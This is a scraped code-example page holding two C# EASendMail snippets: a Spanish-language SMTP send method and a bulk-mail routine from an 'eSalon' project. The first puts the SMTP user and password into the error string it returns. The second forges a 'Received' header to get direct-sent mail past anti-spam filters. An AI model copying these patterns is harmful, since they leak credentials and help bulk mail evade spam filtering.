                    oSmtpServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
                    oSmtpServer.Port        = 465;
                    break;

                case "TLS":
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
                    break;

                case "Ninguno":
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectNormal;
                    break;

                case "STARTTLS":
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectSTARTTLS;
                    break;

                default:
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectNormal;
                    break;
                }



                oSmtpMail_msg.To.Add(new EASendMail.MailAddress(MensajeInfo.Para));

                if (MensajeInfo.Para_CC != "" && MensajeInfo.Para_CC != null)
                {
                    string[] slistaCorreo = MensajeInfo.Para_CC.Split(';');

                    foreach (var item in slistaCorreo)
                    {
                        oSmtpMail_msg.Cc.Add(new EASendMail.MailAddress(item.Trim()));
                    }
                }

                oSmtpMail_msg.From     = new EASendMail.MailAddress(InfoCtaMail_Remitente.direccion_correo);
                oSmtpMail_msg.Subject  = MensajeInfo.Asunto;
                oSmtpMail_msg.TextBody = MensajeInfo.Texto_mensaje;



                SConfigCta = "msg.From :" + oSmtpMail_msg.From.ToString() + "\n";
                SConfigCta = SConfigCta + " msg.To:" + oSmtpMail_msg.To.ToString() + "\n";
                SConfigCta = SConfigCta + " msg.Subject " + oSmtpMail_msg.Subject.ToString() + "\n";
                SConfigCta = SConfigCta + "msg.Body :" + oSmtpMail_msg.TextBody.ToString() + "\n";
                SConfigCta = SConfigCta + "oSmtpServer.Port:" + oSmtpServer.Port.ToString() + "\n";
                SConfigCta = SConfigCta + " oSmtpServer.User:"******"\n";
                SConfigCta = SConfigCta + " oSmtpServer.Password:"******"\n";
                SConfigCta = SConfigCta + " oSmtpServer.Protocol :" + oSmtpServer.Protocol + "\n";

                if (MensajeInfo.Para == "")
                {
                    mensajeErrorOut = "No hay cuenta de correo a quien enviar ";
                    return(false);
                }

                //enviando correo

                oclienteSmtp.SendMail(oSmtpServer, oSmtpMail_msg);

                if (MensajeInfo.IdMensaje > 0)// modificar
                {
                    MensajeInfo.IdTipo_Mensaje = eTipoMail.Enviado;
                    datamaMail.Actualizar_TipoMensaje(MensajeInfo, ref mensajeErrorOut);
                }
                else
                {
                    MensajeInfo.IdTipo_Mensaje = eTipoMail.Enviado;
                    datamaMail.GrabarMensajeDB(MensajeInfo, ref mensajeErrorOut);
                }

                return(true);
            }
            catch (Exception ex)
            {
                mensajeErrorOut = "catch (SmtpException ex) : " + ex.Message + " " + ex.InnerException + " datos de la cta:" + SConfigCta;
                return(false);
            }
        }
コード例 #27
0
ファイル: Form1.cs プロジェクト: DirkViljoen/eSalon
        void _AddInstances( ref SmtpClient[] arSmtp,
			ref SmtpClientAsyncResult[] arResult,
			int index )
        {
            int count = arSmtp.Length;
            for( int i = 0; i < count; i++ )
            {
                SmtpClient oSmtp = arSmtp[i];
                if( oSmtp == null )
                {
                    //idle instance found.

                    oSmtp = new SmtpClient();
                    //store current list item index to object instance
                    //and we can retrieve it in EASendMail events.
                    oSmtp.Tag = index;

                    //For evaluation usage, please use "TryIt" as the license code, otherwise the
                    //"invalid license code" exception will be thrown. However, the object will expire in 1-2 months, then
                    //"trial version expired" exception will be thrown.

                    //For licensed uasage, please use your license code instead of "TryIt", then the object
                    //will never expire
                    SmtpMail oMail = new SmtpMail("TryIt");

                    //If you want to specify a reply address
                    //oMail.Headers.ReplaceHeader( "Reply-To: <reply@mydomain>" );

                    //From is a MailAddress object, in c#, it supports implicit converting from string.
                    //The syntax is like this: "*****@*****.**" or "Tester<*****@*****.**>"

                    //The example code without implicit converting
                    // oMail.From = new MailAddress( "Tester", "*****@*****.**" )
                    // oMail.From = new MailAddress( "Tester<*****@*****.**>" )
                    // oMail.From = new MailAddress( "*****@*****.**" )
                    oMail.From = textFrom.Text;

                    string name, address;
                    ListViewItem item = lstTo.Items[index];
                    name = item.Text;
                    address = item.SubItems[1].Text;

                    oMail.To.Add( new MailAddress( name, address ));

                    oMail.Subject = textSubject.Text;
                    oMail.Charset = m_arCharset[lstCharset.SelectedIndex,1];

                    //replace keywords in body text.
                    string body = textBody.Text;
                    body = body.Replace( "[$subject]", oMail.Subject );
                    body = body.Replace( "[$from]", oMail.From.ToString());
                    body = body.Replace( "[$name]", name );
                    body = body.Replace( "[$address]", address );

                    oMail.TextBody = body;

                    int y = m_arAttachment.Count;
                    for( int x = 0; x < y; x++ )
                    {
                        //add attachment
                        oMail.AddAttachment( m_arAttachment[x] as string );
                    }

                    SmtpServer oServer = new SmtpServer( textServer.Text );
                    oServer.Protocol = (ServerProtocol)lstProtocol.SelectedIndex;
                    if( oServer.Server.Length != 0 )
                    {
                        if( chkAuth.Checked )
                        {
                            oServer.User = textUser.Text;
                            oServer.Password = textPassword.Text;
                        }

                        if( chkSSL.Checked )
                            oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                    }
                    else
                    {
                        //To send email to the recipient directly(simulating the smtp server),
                        //please add a Received header,
                        //otherwise, many anti-spam filter will make it as junk email.
                        System.Globalization.CultureInfo cur = new System.Globalization.CultureInfo("en-US");
                        string gmtdate = System.DateTime.Now.ToString("ddd, dd MMM yyyy HH:mm:ss zzz", cur);
                        gmtdate.Remove( gmtdate.Length - 3, 1 );
                        string recvheader = String.Format( "from {0} ([127.0.0.1]) by {0} ([127.0.0.1]) with SMTPSVC;\r\n\t {1}",
                            oServer.HeloDomain,
                            gmtdate );

                        oMail.Headers.Insert( 0, new HeaderItem( "Received", recvheader ));
                    }

                     _CrossThreadSetItemText( "Connecting ...", index );

                    //Catching the following events is not necessary,
                    //just make the application more user friendly.
                    //If you use the object in asp.net/windows service or non-gui application,
                    //You need not to catch the following events.
                    //To learn more detail, please refer to the code in EASendMail EventHandler region
                    oSmtp.OnIdle += new SmtpClient.OnIdleEventHandler( OnIdle );
                    oSmtp.OnAuthorized += new SmtpClient.OnAuthorizedEventHandler( OnAuthorized );
                    oSmtp.OnConnected += new SmtpClient.OnConnectedEventHandler( OnConnected );
                    oSmtp.OnSecuring += new SmtpClient.OnSecuringEventHandler( OnSecuring );
                    oSmtp.OnSendingDataStream += new SmtpClient.OnSendingDataStreamEventHandler( OnSendingDataStream );

                    SmtpClientAsyncResult oResult = null;
                    if( !chkTestRecipients.Checked )
                    {
                        oResult = oSmtp.BeginSendMail(
                            oServer, oMail,  null, null );
                    }
                    else
                    {
                        //Just test the email address without sending email data.
                        oResult = oSmtp.BeginTestRecipients(
                            null, oMail, null, null );
                    }

                    //Add the object instance to the array.
                    arSmtp[i] = oSmtp;
                    arResult[i] = oResult;
                    break;
                }
            }
        }